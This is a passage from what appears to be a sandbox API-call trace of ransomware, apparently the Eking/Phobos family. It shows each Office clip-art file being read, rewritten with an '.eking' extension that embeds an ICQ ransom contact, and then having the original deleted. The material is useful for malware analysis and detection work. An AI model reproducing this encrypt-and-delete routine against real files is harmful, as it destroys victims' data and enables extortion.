returned 0x220 [0256.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0256.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0256.787] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.787] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0256.789] ReadFile (in: hFile=0x374, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xac4, lpOverlapped=0x0) returned 1 [0257.232] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xad0, lpOverlapped=0x0) returned 1 [0257.456] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0257.456] CloseHandle (hObject=0x374) returned 1 [0257.456] CloseHandle (hObject=0x390) returned 1 [0257.457] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0 [0257.457] SetEvent (hEvent=0x2b8) returned 1 [0257.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.458] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7372) returned 1 [0257.458] CloseHandle (hObject=0x390) returned 1 [0257.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0257.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0257.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0257.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.459] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0257.459] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0257.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0257.598] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1ccc, lpOverlapped=0x0) returned 1 [0257.721] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1cd0, lpOverlapped=0x0) returned 1 [0257.723] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0257.723] CloseHandle (hObject=0x390) returned 1 [0257.723] CloseHandle (hObject=0x374) returned 1 [0257.724] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0 [0257.724] SetEvent (hEvent=0x2b8) returned 1 [0257.724] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.902] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6632) returned 1 [0257.902] CloseHandle (hObject=0x390) returned 1 [0257.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0257.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0257.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0257.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.903] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0257.903] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0257.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0258.024] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x19e8, lpOverlapped=0x0) returned 1 [0258.029] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x19f0, lpOverlapped=0x0) returned 1 [0258.030] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0258.031] CloseHandle (hObject=0x390) returned 1 [0258.031] CloseHandle (hObject=0x354) returned 1 [0258.031] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0 [0258.032] SetEvent (hEvent=0x2b8) returned 1 [0258.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0258.032] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=9240) returned 1 [0258.033] CloseHandle (hObject=0x354) returned 1 [0258.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0258.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0258.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0258.033] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.034] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0258.035] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x2418, lpOverlapped=0x0) returned 1 [0258.058] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x2420, lpOverlapped=0x0) returned 1 [0258.060] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0258.060] CloseHandle (hObject=0x354) returned 1 [0258.060] CloseHandle (hObject=0x390) returned 1 [0258.061] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0 [0258.061] SetEvent (hEvent=0x2b8) returned 1 [0258.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.076] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2344) returned 1 [0258.076] CloseHandle (hObject=0x390) returned 1 [0258.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0258.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0258.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.077] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.077] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0258.078] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x928, lpOverlapped=0x0) returned 1 [0258.087] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x930, lpOverlapped=0x0) returned 1 [0258.088] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0258.088] CloseHandle (hObject=0x390) returned 1 [0258.088] CloseHandle (hObject=0x354) returned 1 [0258.089] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0 [0258.089] SetEvent (hEvent=0x2b8) returned 1 [0258.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0258.090] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6060) returned 1 [0258.090] CloseHandle (hObject=0x354) returned 1 [0258.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0258.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0258.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0258.091] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.091] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0258.093] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x17ac, lpOverlapped=0x0) returned 1 [0258.096] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x17b0, lpOverlapped=0x0) returned 1 [0258.097] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0258.097] CloseHandle (hObject=0x354) returned 1 [0258.097] CloseHandle (hObject=0x390) returned 1 [0258.098] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0 [0258.099] SetEvent (hEvent=0x2b8) returned 1 [0258.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.100] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3416) returned 1 [0258.100] CloseHandle (hObject=0x390) returned 1 [0258.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0258.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0258.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.101] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.101] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0258.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0258.102] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xd58, lpOverlapped=0x0) returned 1 [0258.104] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xd60, lpOverlapped=0x0) returned 1 [0258.106] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0258.106] CloseHandle (hObject=0x390) returned 1 [0258.106] CloseHandle (hObject=0x354) returned 1 [0258.106] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0 [0258.107] SetEvent (hEvent=0x2b8) returned 1 [0258.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0258.108] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2636) returned 1 [0258.108] CloseHandle (hObject=0x354) returned 1 [0258.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0258.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0258.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0258.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 